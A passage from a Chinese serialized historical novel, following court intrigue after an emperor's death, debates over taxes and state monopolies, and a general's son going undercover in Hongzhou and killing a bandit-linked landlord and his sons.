前。耿宇辉出离愤怒地骂道:“姓宴的小人。你原本只是个落地举子,被本官一点一点提拔,才有的今天。老子真是瞎了眼,重用了你个王八蛋……”宴贵卿乐呵呵地盯着耿宇辉说:“被汉奸骂,不更证明我是个大忠臣了吗!”耿宇辉更加气愤地说:“无耻小人,你算什么忠臣。前年,若不是你贪图银钱,收受贿赂,我河北焉能跟柔然签订通商协议?我又怎么会让柔然在元宝山、滦平卫、喜峰口等处修建堡垒,以至于……啊!”随着一声惨叫,耿宇辉倒在了血泊中。宴贵卿把宝剑从耿宇辉身上拔出,恨恨地说:“当了汉奸你还胡乱攀咬。我这个大周忠臣岂能容你!”不过明眼人全都看得出来,宴贵卿这是怕耿宇辉当着招抚使的面抖搂他的丑事。 伪燕王一死,晋阳大军的推进犹如摧枯拉朽一般,不少关城传檄而定,有些地区望风归降。至十月末,宋启愚基本上收复了幽州全境。 然而,其它区域的战争就没有这么顺利了。尤其是受命南北夹击四川的忠肃候苗家伟和夔门总督司马焌,由于被天堑阻隔,他们硬是在四个多月的时间里没能前进一步。而副相张永德和长江指挥使卢庆春面对数倍于己的农民军,也只能疲于防守,却不敢贸然向江南突进。 耿宇辉的首级被送到开封后,宰相冯体仁亲自进宫,将这个特大喜讯报告给了皇上。天通帝一骨碌从病榻上跳起来,挥舞着拳头叫道:“上苍啊!朕没有那么不堪,朕没有那么不堪!朕收回了幽燕,朕把这片祖宗传下来的土地又掌握在自己手里啦!”他环视了一眼身边的人说:“白济,传旨蒲文运,在宣德殿南边修建祭坛。朕要在三日后,用叛逆的脑袋祭祀天地神灵。另外,叫内阁发文,凡在京的四品以上官员都得来观摩。朕要让天下人看看,朕有平息叛乱的手段。”白济答应一声,飞跑着传旨去了。天通帝又说:“宋启愚立下了不世之功,朕也要格外恩赏。冯相,你看封宋卿一个什么职务合适呢?”冯体仁跪地磕了个头说:“陛下,依臣之见,宋启愚于国有功,确应封赏,只是不能太过拔擢。陛下试想,那耿宇辉只控制了十万部队,已令王朝焦头烂额。而这宋启愚手握雄兵二十万,占据地域上千里,若有异志,遍观朝中,谁人可以抵敌?”天通帝跌坐回床头,皱着眉头说:“冯相所言有理。不如召他回朝,褫夺兵权,再封他个太子少师少保的虚衔……”就在此时,天通帝突然感觉到天旋地转。他急忙嚷道:“药丸,药丸。”旁边伺候的白登赶紧从御榻边上的锦匣中取出一粒红色丹药,并帮着皇上服下。过了好一会儿,躺在病榻上的天通帝才用微弱的声音说:“冯相……就这么办吧。”冯体仁轻声答了声是,又给皇帝磕了个头,转身退出了养心宫。 中午,天上下起了微雪,打得地面湿漉漉的。入夜后,雪停了,天空显示出红彤彤的颜色,没有一颗星斗。 第二天,日上三竿,在殿前伺候的白登蹑手蹑脚地走到皇帝榻前,轻声叫道:“陛下,巳时了,该起了。”可没有人回答。白登又往前凑了凑,说:“陛下,不早了,该净面了。”还是没有回话。白登感觉不对,赶紧撩开床前帷幔。只见天通帝直挺挺地躺在床上,口、鼻和耳中向外渗着凝干的黑血,而在天通帝的手边,翻落着那个装盛着红色丹药的黄缎锦匣。白登惊退数步,没命地奔出呼喊道:“来人啊!不好了!皇帝驾崩了……” 第五十回1 短暂的蜜月期 由于在天通帝驾崩时,留守京城的只有冯体仁一名正牌宰相,而且,他又是太子的老师,所以,在九岁的石满灵前继位后,冯体仁自然成为了帝国的权臣。然而,这个人的弱点也很明显,就是不曾统兵,没有军功,在部队里的威望和人脉也不够。为了稳固自己的权力,冯体仁先越级提拔了一批中低级军官,让这些人替自己管理殿前军和侍卫军。他又把一大批门生故旧安排在各个重要的职位上,替他行政和管理官僚队伍。接着,冯体仁以宰执回京议丧的名义,把另一位宰相张永德调回了开封,并授给了他一个太保的虚衔,却解除了他的实际职务。其后,他把那位没有真本事的齐元能派往东南,接管张永德的部队;把他不太看重的单宏波打发到幽州任节度使。在完成了这一系列动作之后,天通七年四月,冯体仁扶着小皇帝到京南祭祀了天,到京北祭祀了地,到宗庙告慰了祖宗,又在宣德殿接见了群臣,正式昭告天下——新天子执政,并改元为“皇统”。 这一日,冯体仁把礼部尚书谭琴叫进了政事堂。待谭琴施过了大礼,冯体仁微微抬手说:“起来吧,坐着说话。”谭琴起身后,又施了一躬才坐下问道:“老师唤我来,不知有何吩咐?”冯体仁靠在太师椅上说:“还是有关宋启愚的事。当年,在你们这一批门生刚中功名时,老夫就有心栽培这个后生,只是,那时有白晨公公在,我搞不明白宋启愚的底细。直到前些时,机缘巧合,老夫才得知,宋启愚曾经救过同泰皇爷和白晨的命。要说这些年他平步青云没有借重这层关系,似乎不是事实。但,这个人任职工部、治理地方、抗敌关北、平灭贼寇、打击柔然、收复幽州,这一桩桩功劳充分说明,他是个有大才能的人。故此,老夫必欲提拔此人。你们是同科,听说交情也很深厚。本相想请谭大人替老夫考虑考虑,怎样才能笼络住这位能臣。”谭琴心里满是醋意,嘴上却说着:“老师慧眼识珠,学生替挚友感谢老师的恩德。学生以为,宋宣道这两年所爱之物无非两样,一为实权,您看他历次受封,何曾丢开过山西节度使的职位,因为他知道,那是他立身的根本;二为财货,此前陛下每次赏物,他都稀罕得日夜把玩,很是贻笑大方啊!”冯体仁点头说:“确实,老夫也有耳闻。这些东西,只要他喜欢,都可以给他,老夫有这个胸襟。”谭琴挑起大拇指称赞道:“老师宰相肚里能撑船,学生很是感佩。那么,老师想给宋启愚一个什么位置呢?”冯体仁微微笑了笑说:“枢密副使兼兵部尚书,入政事堂,另外,侍卫亲军骑兵也可交给他指挥,这个恩典够重了吧?”谭琴的嫉妒心更强了。他一拱手说:“我这个挚友是哪辈子修来的福气,能得老师如此器重。只是,学生担心……要是他有异志,我们当如何应对呢?老师是不是该对其有所牵制啊?”冯体仁略一沉吟,说道:“谭琴啊,这样吧,虽然你没有带过兵,但你的门生里头不是出了严世贵、陈泰增等几个禁军和兵部的属官吗,老夫就让你兼任兵部侍郎。平常,你与宋启愚同署办公。你们两个级别相当,又是好友,正好由你监督他,你看如何?”谭琴的心里乐开了花。他急忙跪倒说:“我们这些门生能有今天全赖老师提携。就请老师拟旨,学生愿亲往太原说动宋启愚来投。” 对于朝廷这样的安排,宋启愚起初有些犹豫,但在得知冯体仁欲用童道生接替自己做山西节度使后,他便没再坚持。 六月中旬,宋启愚把吴襄、席军民、段卫国、余允文等人留在山西帮着童道生治政,而他自己则带着曹可用、余天锡、申鲤、毛迪等属员以及五千多名准备编入侍卫亲军的晋阳部队前往了开封。 冯体仁对刚刚到来的宋启愚十分看重。在面君和交接等场面上的事全都做完之后,冯体仁特意在府内摆下了酒宴,单独款待宋启愚和宋承宇父子。宋启愚心里很是感动,一再对宰相表示感谢。酒过三巡,冯体仁盯着宋承宇说:“宋公子仪表堂堂,有乃父之风,本相很是喜欢。不知今年贵庚,可曾有过婚约?”宋承宇略显尴尬地答道:“回老大人的话,晚辈虚龄二十有二,前四年曾与淮南学政蒋公清合的小女儿订下过亲事。只因前年蒋公去世,去年又赶上国丧,此事便耽搁下来。”冯体仁点头说:“原来如此。”他又转头对宋启愚说:“记得蒋清合也是你们的同科,只是年长几岁,不想今已作古。真是岁月不饶人啊!”宋启愚也唏嘘道:“蒋兄多年来一直主持乡试。前年春闱,他又亲自阅卷到深夜,以至于犯了风疾。宋某初闻噩耗,痛哭失声。等我派人前往吊唁时,才发现蒋公除去满屋的藏书,竟然家无余财。蒋兄的后事还是靠着我们几个同年,才得以完礼。”冯体仁啧啧称赞道:“蒋清合高风亮节,为国操劳,值得我辈敬佩呀。老夫当禀明天子,对其进行褒扬。不过,说起贵公子的婚事,因国丧未满一年,恐怕……不如这样吧,本相派人去把蒋小姐接来并收为义女,待年底除了服,本相就周济他们小两口完婚。”宋启愚万没想到一向贪婪弄权的冯相竟对自己如此亲和。他急忙拉着儿子给冯体仁跪下,又说了许多感恩的话。其后,冯体仁又与宋氏父子拉了些家常,谈了些无关紧要的闲事,直到戌时,方罢宴送客。 说来也怪,这次酒宴之后,几乎所有的京官,包括原先不大看得起宋启愚的宰执枢密们,也对这位新晋的权贵毕恭毕敬起来。其实,宋启愚心里很明白,这些见风使舵的人完全是为了讨好冯体仁,毕竟自己现在与宰相在名义上是亲家。不过,宋启愚并没有把精力浪费在与人勾心斗角上。他从接手兵部和侍卫亲军骑兵开始,便一头扎进了提升禁军战力、提高应变速度和保障后勤补给等具体的军事工作上。他用了一个月时间,深入军营,与士兵将佐们同吃同住同操练,充分了解了侍卫亲军目前存在的问题,还替一些兵将解决了部分困难,迅速让自己融入了这支队伍。其后,他又用当年自己在大同练兵时所用的办法,把从晋阳带来的五千人马分散到全军,命其轮训帮带侍卫亲军。连申鲤、毛迪、伍名这些镇守使级别的将官都被下放到各营充任校尉,部队的训练热情得到了空前的激发。他还广选兵员,扩充炮队,任余天锡为统领。他又命令兵部职方司按照自己拿的图纸打造铁炮,从而快速地组建起了一支超过五千人的炮军。为了保障部队供应,宋启愚命曹可用和周邦彦在兵部和禁军之外建立起了后勤管理局,专管各种军事物资的调配、运转、营收和保障。仅仅过了四个月,侍卫亲军的面貌就焕然一新,兵部的人员配置也渐趋合理。 由于对宋启愚的治军效果非常满意,冯体仁随在天子面前替兵部众官请了嘉奖。宋启愚和谭琴也投桃报李,赞扬冯相辅助幼主,不遗余力,为国为民,废寝忘食。 第五十回2 短暂的蜜月期 可是,树欲静而风不止,就在冯体仁极力拉拢宋启愚的时候,他的儿子却给他惹下了塌天大祸。原来,在冯体仁答应接蒋清合的女儿来开封后,他便写信命其三子,现任赣州知府的冯之节往龙岩迎迓蒋氏小姐。这位冯三公子本来不是个好色之徒,可当他见到蒋小姐,发现其形貌言谈都是自己最喜欢的类型时,他的心理产生了变化。他先是一再推迟行期,让蒋小姐在赣州住了两个月;他又想通过赠送各种礼物的方式博取女孩的欢心;到了后来,冯之节实在受不住相思之苦,便在一次酒后,强行闯进小姐的居所,做出了越轨的事情。之后,冯之节为了对父亲有所交代,不得不编造谎言,声称其在进京途中遭到了邢华义军的偷袭,自己受了伤,而蒋家小姐则被义军掳去,生死不明。 消息传到京城,冯体仁很是难堪,考虑到自己在军事上还要倚重宋启愚,在政治上还要利用宋启愚,他随即决定把本家的一个远房侄亲收为养女,并嫁与宋承宇为妻;他还命令身在洪州的陈伟亮对贼寇进行了数次报复性的攻击,斩杀了几百名匪寇。面对这种变故,见惯了生死的宋启愚反而表现得更加通达。他一面安慰冯体仁世事无常,不要太过介怀;一面派出心腹持重金赶往龙岩,向蒋家人谢罪;一面劝说儿子接受现实,不能过分伤心。可宋承宇显然没有他父亲的城府。在赌气痛苦了几天之后,这日傍晚,宋承宇找到父亲说:“爹,虽然蒋小姐还未过门,但从礼法上说,她已经是咱们宋家的人了。这次,若不是我们遣人往东南接人,也不会害了蒋小姐。况且,您与蒋老伯有旧交,我们不能当做什么事情都没有发生,咱家有责任把蒋小姐或者她的尸首找回来,交还给蒋家。另外,贼寇猖獗,践踏江南,给人民造成了无尽的苦难。现如今,他们竟然又欺负到咱宋家人头上。俗话说‘夺妻之恨,不共戴天’。所以,儿子想去一趟南方,一为寻人,二为探查一下江南的匪情。还请爹爹允准。”听儿子说出这么有担当的话,宋启愚内心十分骄傲。他抚着儿子的背说:“儿啊,你长大了。你继承了咱宋氏的忠义和血性,为父很感动。你的这个仇,爹都记着呢。早晚有一天,爹要让那邢华认罪伏法。不过,爹对禁军的改造还没有完成,咱们现在还没有足够的力量去征剿江南啊。”宋承宇坚定地说:“父亲,儿子知道您会劝我。但儿子主意已定,断然不会就此作罢。儿子也不是小孩子了,遇事会多动脑筋,不会鲁莽行事。”宋启愚抚了抚儿子的头,沉吟了片刻,说道:“也罢!既然你决心去江南,爹就帮你完成这个心愿。我让段鲲、许地、罗文德跟着你往南走。但你要记得,把仇恨埋在心底,把查访做为自己的主要任务。爹这边也会加紧练兵,争取让部队在半年之内形成战斗力。到了那时,你若能手刃仇人,你就亲手宰了他;若对方势大,你就回到爹的身边,为父自会挥师南进,为儿报仇雪恨。”宋承宇望着犹如大山一般挺立在身边的父亲,坚毅地点了点头说:“父亲放心,儿子知道分寸……” 虽然已经做出了较为妥帖的安排,但宋启愚还是有些不放心。在当晚,他向曹可用讲起了此事。曹可用呵呵一笑说:“虎父无犬子!我这个大侄,行!回头,我叫山西货栈常驻九江和洪州的伙计们对承宇他们多照应着点,也就是了。宣道,当年你在他这个年纪已经走南闯北好多年了。如今,换到儿子身上,你怎么反倒犹疑了呢?”宋启愚摸了摸已经生有白发的鬓角,自释地笑笑说:“看来,我是老喽。好吧,就让他去闯一闯吧!” 次日一早,正要赶往朝堂办公的宋启愚,在府门前见到了前来辞行的宋承宇、段鲲、许地和罗文德。宋启愚走近几人,鼓励道:“不畏征途千里路,冲宵四将俱威仪。本帅今日就站在这里目送你们远征,并期待你们早日凯旋。”四人跪伏于地,激动地说:“末将定不负大帅嘱托。”其后,宋承宇又单独给父亲磕了个头,说了声“爹爹保重”,便带着三员部将,骑上战马,快速奔向了街口。宋启愚看着儿子远去的背影,轻轻叹了口气,随即,对属员们吩咐道:“走,进宫理政。” 在当日的朝堂上,冯体仁因国库连官员们的五十万两年关俸银都拿不出来而大发雷霆。户部尚书时向祖一边拭汗,一边小心地回道:“相爷,咱这国库本已空虚,国丧和陛下登基,以及南方打仗,银子花得象流水一样。为了修缮先帝陵寝,下官扫清了库底也才筹集了一百二十万两白银,户部还向各省借调了七十万两银子。本以为今年风调雨顺,户部的营收能比往年多一些,可地方上却说前几年破产的农民太多,土地也被收缴,而这些被没收的土地,官员们又不能经营,以至于全都荒芜了。结果,户部今年的农业税收不但没有增加,反而比去年减少了八十万两。人头税这一块,也减少了五十几万两。”冯体仁一拍桌子,怒道:“住口。你当我不知道,这几年户部的主要收入来自禁榷、商业和借贷生息,这些钱都到哪里去了?”时向祖哭丧着脸说:“相爷,从前年开始民间借贷的利息就已经比官家低了,很多人宁可借高利贷也不向官府借钱,借贷生息的收入少得可怜。至于另两项,是文侍郎主管的,相爷不妨问问文泰。”文泰听时向祖把矛盾引向了自己,心里不住地叫苦。他不等冯体仁呼唤,抢先跪下说:“恩相,禁榷行业的收入今年确实比去年增加了一百三十万两银子,但贸易却因商人们很难拿齐朝廷的批文而受限,营收减少了近二百万两,故而,今年国家的财政仍然紧张啊!”冯体仁更加气愤,斥责道:“批文怎么会受限?谁让你们限的?”文泰又行了个礼说:“恩相,办理商业批文有时与《禁榷法》是有冲突的,而《禁榷法》是先帝大力推行的善法,官员们无人敢随意更改啊!”听了这话,冯体仁顿时语塞。他在心里盘算道:“《禁榷法》是我一生的心血,绝不能让人质疑。”他指着时向祖说:“时大人,今天,老夫要解决的是五十万两俸银的事,其它的容后再议。你就告诉本相,这个钱你打算怎么出?”时向祖斜眼看了看内府大臣蒲文运,说道:“相爷,听说内府颇有积蓄,不如相爷和几位宰执去求求皇上。由皇上下旨,让蒲大人把内府的钱拿出几百万两来,帮着朝廷渡过难关。”蒲文运一听就急了,大声吆喝着说:“时向祖,你想干什么?内府可是皇上的。把钱给了你,你让皇上喝西北风呀!你这叫大逆不道知不知道?国库没钱,那得怪你这个户部尚书没本事,凭什么叫皇上替你吃苦头?”时向祖也不干了,梗着脖子说:“蒲大人,我这个尚书是没本事,但我几十年来也是勤勤恳恳地为皇上做事,替朝廷操劳,不像某些人天天拿着皇上的银子替自己置产业,捞好处!”蒲文运听时向祖公然揭自己的短,怒不可遏地就要来掐时向祖的脖子。执政司马德文赶忙上前制止说:“列位大人,朝堂之上大呼小叫的,成何体统。”谭琴也劝慰道:“都是朝廷公事,大人们不要伤了和气。孰是孰非,冯相自会主持公道。”冯体仁略显尴尬地清了清嗓子说:“时大人只是提了个建议,没有什么不妥。蒲大人维护皇家,也是职责所在。待老夫进宫向皇上申述此事,再定这笔钱款的出处吧。不过,朝廷经济拮据却是必须尽早解决的事情。各位宰执枢密和户部、工部的主官下去都拟个条陈,明日交上来,后日咱们再议一议,争取能在年前制定出更加合理的经济策略……” 第五十回3 短暂的蜜月期 在出宫的时候,文泰拉住宋启愚,小声说:“宣道老弟,你得帮老哥出出主意呀!我这个户部的家太难当了,又得遵从先帝的法令,又得保障各地的民生,还得顾及各方官绅军将的利益,每天谨小慎微、如履薄冰,可到头来还是生财无道,国库空虚。你老弟在山西干得风生水起,不妨传授老哥几招,也好让老哥明日交差啊。”宋启愚微蹙眉头,郑容说:“国家对经济管得过死,不能激发民间活力,才是造成社会停滞的根本原因。不过,小弟入朝后,一直忙于军务,还无暇思考政务和经济的问题,所以,不敢乱讲。”文泰略显急迫地说:“贤弟尽管把山西的政策说个两三条,哥哥也好有个借鉴。若果然能够昌盛国家,那岂不是天下人都要感激你宋宣道吗。”宋启愚见文泰言语赤诚,随说道:“文兄莫急。小弟把在山西执行过的五条策略说与兄听听也就是了。这一吗,是将朝廷现行的借贷八分利息降低为一分。这样做表面上是减少了利息收入,但实际上既能拿国家的钱帮助农民渡过难关和扩大生产,也可保障财政税收的持续性。二是只保留盐铁专营,取消其它行业的禁榷制度。国家不能把所有的产业全都垄断,否则,谁还愿意干活呢?更不要说赔着钱还为国家保质保量地生产物品了。三吗,是把原先的按人丁征税改为以田产多少征税。这样可以保护底层百姓,使他们免于破产。第四,就是鼓励经商贸易,给予政策扶持。产品只有流动起来,才能对人们产生影响,也才会积累财富。最后一条,就是开展国际贸易,促进对外流通。凭借着这五条,我山西基本实现了岁有盈余,社会安定,并在与柔然的战争中,取得了完全的胜利。”文泰聚精会神地听完,身施一躬说:“宋贤弟真是国之栋梁,愚兄受教了。不过,贤弟啊,我劝你最好不要把取消禁榷制度和改征田产税写在奏折里,否则,也许会有人不高兴。”宋启愚沉默了一下,说道:“多谢贤兄提醒,但国家已经败坏到了这个地步,若我等还不挺身而出、力挽狂澜,那你让天下的老百姓何去何从呢?冯相若不具备包容四海的胸襟和拨乱反正的魄力,他又如何统领百官、匡扶社稷呢!” 然而,宋启愚太高看冯体仁的品德了。次日晚间,冯体仁在相府后衙奋力把一份条陈扔在地上,骂道:“养不熟的白眼狼!竟敢指责禁榷制度,还要征收什么田产税,那老夫的几千倾良田岂不是每年都要白白损失几万两银子,这比宰相的俸禄可多得多。若不为封妻荫子、传名后世,有谁愿意没白没黑地负重工作……” 为了不与宋启愚直接冲突,冯体仁压下了几份他认为不可理喻的条陈,而只把时向祖、魏孝义等人的主张拿来做参考,撰写了自己的建议文稿。在第二天的会议开始时,冯体仁首先以不容辩驳的口吻说:“禁榷制度是两代先皇执行了二十年的善法,而人头税也是历朝历代都在征收的税种,我们这些后学完全没有资格破坏这些法规,只能对前法进行改良。故而,禁榷制和人头税必须同时执行。”他扫视了一眼众人,举起一份文书说:“刚才发给众位的是老夫根据你们的主张,整理出来的《经济策略改善意见》。具体条文我就不念了,重点有五条。其一,是将朝廷现行的借贷八分利息降低为四分,以减少民怨。其二,是将官府收缴的土地和人口作价售卖,以充盈国库。其三,是由户部和工部牵头,成立几家贸易商行,专门买卖禁榷商品,以加快流通。其四,是裁撤冗兵和冗吏,以节约饷银和官俸。其五,是允许犯有轻罪的官员交纳罚款,以赎买其罪。本相刚刚与时尚书和魏尚书推算了一下,若按这五条执行,国家的财政收入每年至少可以增加一千万两白银。”时向祖和魏孝义抢着附和道:“下官们在提出拙见时并未想得那么深远,还是冯相对局势的把握更为准确呀!”谭琴也奉承道:“恩师的见地高屋建瓴,做事又雷厉风行,真是学生们敬仰的楷模啊!”看着辞藻华丽的官样文章,听着肉麻露骨的无聊吹捧,宋启愚脸色铁青,恨恨地把公文团到了手里。这时,执政魏柄忠轻咳一声说:“宰相大人。其它三条下官没有异议,只是这第二条和第五条。售卖收缴的土地和人口,是否会造成更大规模的土地兼并呢?还有,倘若赃官们全都用钱赎了罪过,那国法的威仪何在啊?”冯体仁沉下脸说:“魏大人,你若把文书好好看上几遍就不会这么问老夫了。老夫要售卖的是已经收缴的东西。而所谓轻罪就是指涉案数额在五十两以下的小的犯罪。为了五十两银子就毁掉一个官员的前途,确实太过严厉,现在,咱们罚他十倍钱款,既惩戒了恶行,又充实了府库,岂不是一举多得吗?”魏柄忠气得满脸通红,说道:“冯相的高论恕魏某不敢苟同!朝廷一旦开了售卖物产和用银钱赎罪的口子,吏治便会败坏得一塌糊涂。众位试想若某官牟了私利,事后却可以仅仅交纳五百两罚银就封住朝廷的嘴,这政策岂能起到震慑贪官的作用?而某官为了售卖更多物产,难道不会巧取豪夺、构陷罪名吗?”冯体仁觉得魏柄忠是在影射自己,便驳斥道:“魏大人,不要危言耸听,我朝的官员没有那么不堪,你想象出的贪腐未必真实存在。再说,你又不是刑部尚书,这些事还轮不到你操心。”魏柄忠压抑着怒气说:“我朝抓出的贪官污吏还少吗?这些犯罪难道真的就不存在吗?我这个执政难道就没有监督的职权吗?”冯体仁冷笑几声说:“魏执政,你想监督谁?监督老夫我吗?人说你喜欢越权揽权,我看一点不假。”魏柄忠正欲回嘴,旁边坐着的白铭肇轻轻捅了他一下,小声说:“魏大人慎言。”魏柄忠看到宰相正用恶狠狠的眼神盯着自己,随有些胆怯地拱手说:“是魏某过激了,但这事还要再议。”看魏柄忠低了头,冯体仁随装作很大度的样子,温言安慰了他几句,又接着向群臣解释政策。司马德文等官员也乘机赞扬了宰相一通。眼看决议就要被通过了,宋启愚觉得不能再沉默,就张嘴说道:“冯相,下官赞成您意见中的第一条。而且,下官还想到了一个应景的典故。”冯体仁以为宋启愚也想攀附自己,于是笑着说:“宣道把典故说出来,让大伙也长长见识。”宋启愚朗声说:“列位大人,在《论语》里记载了这样一段话。哀公问有若:‘荒年收成不好,钱不够花,怎么办?’有若答:‘降税。’哀公又说:‘增税尚且不够,降税怎么可能够呢?’有若说:‘百姓不够,君自然不够?如果百姓足够了,君怎么会穷?’现在,冯相降低了借贷利息,增加了百姓收入,确实是减少民怨的好办法。”冯体仁哈哈大笑说:“探花郎果然好学问!”一旁的陆祥楠和谭琴也挑起大拇指,点头称赞。宋启愚笑嘻嘻地向上又一拱手说:“下官哪有什么学问。昨天看书还被一句古语难住,想向列位请教呢。”冯体仁出身国子监,对自己的文化功底非常自信,刚才又压服了魏柄忠,正在得意之时,随说道:“本相好奇什么词句能难住宋大人。”宋启愚再一拱手说:“管仲在治政齐国时说了‘取之于无形’的话,下官确实不懂。”文泰率先记起了原文,说道:“这话出自《管子》。讲的是齐桓公为了增加财力,打算按人口、财产征税。可管仲却献计说‘唯官山海可耳’。意思是说不必收取人头税,只用专营盐和铁,即‘取之于无形,使人不怒’就能使国家富足……”他突然意识到了什么,赶紧闭了口。倒是魏柄忠接话说:“呵呵,先贤们并没有同时执行禁榷制度和人头税的传统啊!看来破坏前法的不是我们这些宰执枢密,反而是宰相大人啊!”冯体仁被抢白得哑口无言。他猛地一拍桌案,喝道:“本相一心为公,却被别有用心之徒刁难。也罢,今日之事暂时搁置,待本相禀明了天子再做定夺。” 大年二十九,冯之节的贺岁专使押着几十车年货进了宰相府。因之前获悉儿子在洪州遇袭,冯体仁赶紧叫专使来见。专使入内行礼,呈上了冯之节的亲笔书信。冯体仁看信之后,不由得脱口骂道:“不成器的孽障啊!你让为父如何是好!”他绕桌疾走了几圈,站定说道:“反正已经得罪了他,后悔也没什么意义。这样吧,本相即刻出票拟,升之节为湖湘巡抚。你回去告诉这个冤家,藏好姓蒋的女子,千万别让他的脏事败露了。”专使频频磕头,唯唯称是后,退了下去。 冯体仁缓步回转了太师椅,捋着胡子自言自语道:“宋启愚,本相给过你大恩典,可你似乎并不领情,老夫得着手动动你了!” 那么,冯体仁会怎样对付宋启愚呢?宋启愚又能否平安地度过这次危机呢?欲知后事如何,且看下回分解。 第五十一回1 清剿真义教 皇统二年正月,当北方的人们还在忍受冰雪严寒的时候,洪州的百姓却已闻到了春天的气息。 一天早晨,在薄薄的烟雾里,四个货郎挑着几筐酱菜急急地走在梅岭脚下的山道上。其中一人喘着粗气说:“承宇,前面就到镇子了,咱歇歇脚再走!”被呼唤的货郎不是别人,正是宋启愚的长子宋承宇。承宇停下脚步,把担子放在道边,从胳膊上解下手巾擦了把汗,又将手巾递给段鲲说:“哥几个都擦擦汗。咱今天的目标就是招贤镇,这里鱼龙混杂,正适合打听消息。不过,大家也要小心,别暴露身份。翁掌柜已经给咱们找好了引荐人,据说,那梁屠户和支员外不但横行乡里,还跟梅岭的山贼有联系,经常干些杀人越货的勾当。”罗文德把个水葫芦递给宋承宇说:“就凭这身补丁衣裳,谁能说咱几个不是货郎。听说在这儿干脏事的既有真贼寇又有流民,还有地方豪强,甚至还有官军,他们为了逃脱罪责,都声称自己是邢华义军。象前天,劫那夫妻俩的家伙,不就是洪州地面上的六个地痞吗。要不是少帅,啊不,要不是承宇让留个活口,我当时就一刀一个,叫他们去见了阎王。”许地接话说:“你小子就是鲁莽。咱们跟着承宇是来查访的,不是来杀人的。不过,也怪了,这一个多月,山西货栈的翁掌柜帮着咱们在这地面上查了七八起抢劫案件,可却没听说有人敢抢官府的车队呀。承宇,你说那冯知府是不是把地点给搞错了,他根本不是在洪州西边被抢的吧?”段鲲插嘴说:“在洪州东面也不对呀。本地有重兵把守,跟邢华贼寇的地盘就隔一个鄱阳湖。城东边的老百姓要么被贼人掳走,要么早两年就逃到赣江西边来了。那冯知府怎么可能往战区走呢!”宋承宇喝了两口水说:“如果到了梅岭还查不出线索,我们就再往南走一走,先到进贤县,再去抚州、饶州,总能摸出点消息来。”许地皱眉说:“那可就进了贼窝了,听说他们对外省的人盘查得可严了。”段鲲拍着许地的肩膀说:“所以才让你这个精明的家伙给咱们编些可信的故事呀!你小子可好,直接给我编了个孤儿出身,还缺心眼,被一个做酱菜的老寡妇养大,结果北方战乱,老寡妇被杀,我就跟着你们几个……”许地笑笑说:“能蒙住人就行,你都这么惨了,对方还会刁难你吗?”宋承宇轻叹一声,说道:“跟沿途和这一带的人比起来,咱们那样的身世也不算什么。尤其是从赣江东边逃难过来的人,本已一无所有,只想开点荒、糊个口,可却仍被官府逼债,被豪强欺负,结果,卖儿卖女、典身为奴的不计其数。还有那些在军营里略微有点势力的人,整天想的就是怎么发国难财,完全没把心思用在打仗上。好在湖对岸的邢华也胸无大志。他在打下了杭州,建立了饶国,扩充了几十万军队后,便不再进取。听说,他手下的人也是迅速地腐化堕落。拿那个饶州大都督邓江来说,就被誉为‘三不知’大将,即有多少军队他不知道,有多少财产他不知道,有多少老婆他也不知道。若不是在池州、宣城还有谭文元、杨一彪等贼将撑着,也许,这里早就被朝廷收复了。”罗文德呵呵笑笑说:“等咱们把情况向大帅做了汇报,大帅一定可以提十万天兵荡平这些贼寇。”许地摇摇头说:“荡平了又如何?朝廷已经烂到家了,老百姓回来也没有好日子过。”段鲲砸吧着嘴说道:“那就让咱家大帅再兼任一个江南节度使,啊,对,还得兼任一个淮南巡抚,还得兼任一个河南巡抚,我敢保证,要不了三年,这些地方就能跟咱山西一样富足太平。”宋承宇站起身说:“嚯,看来段大哥已经做了宰相,这巡抚、节度使都可以随便封赏的。好了,也歇差不多了,出发,干正事。” 当天下午,宋承宇和罗文德便投到支员外门下当了打手,而段鲲和许地则投到梁屠户的铺面做了杂工。这四个人用了三天时间,了解当地豪强的恶行劣迹,并确认本处并未发生过劫夺官家车队的案件。到了第四天下午,宋承宇和许地在镇上的抄手摊碰了碰头,他们决定为百姓除害。 当日晚间,宋承宇利用给打手们抬饭食的机会,命罗文德在稀粥里下了蒙汗药。然后,他又以想被提拔要给管家送礼为由,进入了内院。正当管家欣喜地盯着烛光下的金银时,宋承宇一个健步冲上去,一刀便结果了管家的性命。宋承宇拔出刀来,又甩了甩捂着管家嘴巴的左手,骂道:“口水也这么臭。你为虎作伥,真是死有余辜。”恰在此时,门外传来一个尖细的声音:“我说,管家,我爹喊你去上房,说说催债的事。”紧跟着,一道人影向屋门移来。宋承宇看无处躲藏,随横下一条心,举着短刀站在了门后。外面那个尖细嗓边挑帘进屋边说:“管家,咋不吭气呢,耳朵里面塞驴毛了。咱前天抢的那俩娘们还关在东院里吧?乘我爹他们吃饭,本少爷正好去……啊,啊!”还没等他把话说完,一柄钢刀便送他一命归西。接下来,宋承宇犹如凶神附体一般,手提着钢刀就往上房冲去。 本来啊,宋承宇以为屋里的惨叫声会引起别人的注意,可由于在这座府邸里杀人害命是常有的事,结果竟无一人觉察出异样。当宋承宇满脸杀气地站在上房的大厅当中时,姓支的恶霸正跟他的两个儿子猜拳行令。这个肥胖的中年男人抬起朦胧的醉眼,说道:“哪儿,来,来的呆瓜!一点规矩,都,都没有。”他的两个儿子也醉醺醺地站起来,冲左右惊惧的丫鬟比划着说:“瞧,瞧,你们的,的熊样。他肯定是给,给咱哥们,啊不,爷们,送丫头的。年下抢的那,那几个都玩腻了,明天,把她们都卖,卖到……”宋承宇冷笑一声,喝道:“爷爷今天就把你们都卖到阎罗殿去!”随着血光迸溅,支氏父子全被宋承宇砍杀在酒桌前。这时,已经麻翻了那帮打手的罗文德也闯到院中跟几个家丁战到了一处。罗文德还叫唤着:“少帅,承宇。你在哪里?”宋承宇一看已经无法掩饰身份,便对外面喊道:“老罗不要怕,本将军在此。恶霸父子都已被我斩杀。”他环视了一眼惊惧无助的丫鬟和仆役们,又抄起桌上的酒壶喝了一口,提高了嗓门说道:“外面的小贼听着,我乃侍卫亲军司的典军校尉宋承宇,此次,是受了皇命来洪州查办贪官污吏、**恶霸的。经查,这支姓人家名为乡绅,实则暗通匪帮,意欲谋反。他父子平日里又杀人放火,巧取豪夺,欺男霸女,无恶不作。今天,本将已将首犯就地正法,尔等虽误入歧途,但只要扔了兵器不再与朝廷为敌,本将便恕了尔等的罪。”一时间,大厅内外的丫鬟仆役和家丁们全都跪伏于地,磕头感激宋将军的活命之恩。宋承宇又吩咐这些下人去把各处关着的老百姓都放出来。其后,宋承宇来到屋外,凑近罗文德,压低声音说:“此